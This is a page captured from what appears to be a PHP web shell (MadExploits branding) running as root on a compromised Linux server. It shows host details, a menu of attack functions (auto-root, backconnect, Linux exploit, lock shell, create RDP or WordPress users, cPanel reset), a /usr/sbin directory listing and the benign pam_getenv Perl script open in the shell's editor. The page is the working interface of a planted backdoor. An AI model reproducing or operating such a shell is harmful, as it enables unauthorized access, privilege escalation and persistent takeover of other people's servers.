Linux r-1tbfree-gecko-e8ip2zsa-2f967-wvg4t 6.12.63-84.121.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Dec 31 02:07:30 UTC 2025 x86_64
PHP/8.5.2 (Development Server)
: | : 10.16.21.217
Cant Read [ /etc/named.conf ]
8.5.2
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
add-shell
1.03
KB
-rwxr-xr-x
addgroup
58.03
KB
-rwxr-xr-x
adduser
58.03
KB
-rwxr-xr-x
agetty
107.57
KB
-rwxr-xr-x
blkdiscard
34.38
KB
-rwxr-xr-x
blkid
138.41
KB
-rwxr-xr-x
blkzone
90.38
KB
-rwxr-xr-x
blockdev
94.38
KB
-rwxr-xr-x
chcpu
46.38
KB
-rwxr-xr-x
chgpasswd
66.42
KB
-rwxr-xr-x
chmem
70.38
KB
-rwxr-xr-x
chpasswd
95.09
KB
-rwxr-xr-x
chroot
50.41
KB
-rwxr-xr-x
delgroup
20.71
KB
-rwxr-xr-x
deluser
20.71
KB
-rwxr-xr-x
dpkg-preconfigure
4.46
KB
-rwxr-xr-x
dpkg-reconfigure
4.43
KB
-rwxr-xr-x
faillock
22.24
KB
-rwxr-xr-x
findfs
14.38
KB
-rwxr-xr-x
fsck
58.38
KB
-rwxr-xr-x
fsfreeze
14.38
KB
-rwxr-xr-x
fstab-decode
14.23
KB
-rwxr-xr-x
fstrim
86.38
KB
-rwxr-xr-x
getty
107.57
KB
-rwxr-xr-x
groupadd
103.16
KB
-rwxr-xr-x
groupdel
90.99
KB
-rwxr-xr-x
groupmod
103.15
KB
-rwxr-xr-x
grpck
62.43
KB
-rwxr-xr-x
grpconv
58.27
KB
-rwxr-xr-x
grpunconv
58.27
KB
-rwxr-xr-x
iconvconfig
30.4
KB
-rwxr-xr-x
installkernel
2.65
KB
-rwxr-xr-x
invoke-rc.d
16.13
KB
-rwxr-xr-x
isosize
34.38
KB
-rwxr-xr-x
killall5
26.31
KB
-rwxr-xr-x
ldattach
34.38
KB
-rwxr-xr-x
ldconfig
965.01
KB
-rwxr-xr-x
losetup
130.53
KB
-rwxr-xr-x
mkfs
14.38
KB
-rwxr-xr-x
mkhomedir_helper
14.26
KB
-rwxr-xr-x
mkswap
134.39
KB
-rwxr-xr-x
newusers
106.97
KB
-rwxr-xr-x
nologin
22.38
KB
-rwxr-xr-x
pam-auth-update
20.94
KB
-rwxr-xr-x
pam_getenv
2.82
KB
-rwxr-xr-x
pam_namespace_helper
467
B
-rwxr-xr-x
pam_timestamp_check
14.24
KB
-rwxr-xr-x
pivot_root
14.38
KB
-rwxr-xr-x
policy-rc.d
255
B
-rwxr-xr-x
pwck
58.38
KB
-rwxr-xr-x
pwconv
54.26
KB
-rwxr-xr-x
pwhistory_helper
22.24
KB
-rwxr-xr-x
pwunconv
54.27
KB
-rwxr-xr-x
readprofile
34.42
KB
-rwxr-xr-x
remove-shell
1.08
KB
-rwxr-xr-x
rmt
63.19
KB
-rwxr-xr-x
rmt-tar
63.19
KB
-rwxr-xr-x
rtcwake
54.38
KB
-rwxr-xr-x
runuser
82.38
KB
-rwxr-xr-x
service
9
KB
-rwxr-xr-x
shadowconfig
1.94
KB
-rwxr-xr-x
start-stop-daemon
43.42
KB
-rwxr-xr-x
sulogin
58.39
KB
-rwxr-xr-x
swaplabel
18.38
KB
-rwxr-xr-x
swapoff
50.38
KB
-rwxr-xr-x
swapon
58.38
KB
-rwxr-xr-x
switch_root
18.38
KB
-rwxr-xr-x
tarcat
936
B
-rwxr-xr-x
unix_chkpwd
42.24
KB
-rwxr-sr-x
unix_update
42.24
KB
-rwxr-xr-x
update-ca-certificates
5.54
KB
-rwxr-xr-x
update-passwd
38.49
KB
-rwxr-xr-x
update-rc.d
17.72
KB
-rwxr-xr-x
update-shells
3.97
KB
-rwxr-xr-x
useradd
155.9
KB
-rwxr-xr-x
userdel
111.06
KB
-rwxr-xr-x
usermod
143.74
KB
-rwxr-xr-x
vigr
72.77
KB
-rwxr-xr-x
vipw
72.77
KB
-rwxr-xr-x
wipefs
50.38
KB
-rwxr-xr-x
zic
62.32
KB
-rwxr-xr-x
zramctl
134.51
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pam_getenv
#!/usr/bin/perl -w =head1 NAME pam_getenv - get environment variables from /etc/environment =head1 SYNOPSIS pam_getenv B<[-l] [-s]> I<env_var> =head1 DESCRIPTION This tool will print out the value of I<env_var> from F</etc/environment>. It will attempt to expand environment variable references in the definition of I<env_var> but will fail if PAM items are expanded. The B<-l> option indicates the script should return an environment variable related to default locale information. The B<-s> option indicates that the script should return an system default environment variable. Currently neither the B<-l> or B<-s> options do anything. They are included because future versions of Debian may have a separate repository for the initial environment used by init scripts and for system locale information. These options will allow this script to be a stable interface even in that environment. =cut # Copyright 2004 by Sam Hartman # This script may be copied under the terms of the GNU GPL # version 2, or at your option any later version. use strict; use vars qw(*CONFIGFILE *ENVFILE); sub read_line($) { my $fh = shift; my $line; local $_; line: while (<$fh>) { chomp; s/^\s+//; s/\#.*$//; next if $_ eq ""; if (s/\\\s*$//) { $line .= $_; next line; } $line .= $_; last; } $line; } sub parse_line($) { my $var; my (%x, @x); local $_ = shift; return undef unless defined $_ and s/(\S+)\s//; $var->{Name} = $1; s/^\s*//; @x = split(/=([^"\s]\S*|"[^"]*")\s*/, $_); unless (scalar(@x)%2 == 0) { push @x, undef; } %x = @x; @{$var}{"Default", "Override"} = @x{"DEFAULT", "OVERRIDE"}; $var; } sub expand_val($) { my ($val) = @_; return undef unless $val; die "Cannot handle PAM items\n" if /(?<!\\)\@/; $val =~ s/(?<!\\)\$\{([^}]+)\}/$ENV{$1}||""/eg; return $val; } my $lookup; while ($_ = shift) { next if $_ eq "-s"; next if $_ eq "-l"; $lookup = $_; last; } unless (defined $lookup) { die "Usage: pam_getenv [-l] [-s] env_var\n"; } my %allvars; open (CONFIGFILE, "/etc/security/pam_env.conf") or die "Cannot open environment file: $!\n"; while (my $var = parse_line(read_line(\*CONFIGFILE))) { my $val; unless ($val = expand_val($var->{Override})) { $val = expand_val($var->{Default}); } $allvars{$var->{Name}} = $val; } if (open (ENVFILE, "/etc/environment")) { while (my $line = read_line(\*ENVFILE)) { $line =~ s/^export //; $line =~ /(.*?)=(.+)/ or next; my ($var, $val) = ($1, $2); # This is bizarre logic (" and ' match each other, quotes are only # significant at the start and end of the string, and the trailing quote # may be omitted), but it's what pam_env does. $val =~ s/^["'](.*?)["']?$/$1/; $allvars{$var} = $val; } } if (exists $allvars{$lookup}) { print $allvars{$lookup}, "\n"; exit(0); }
Close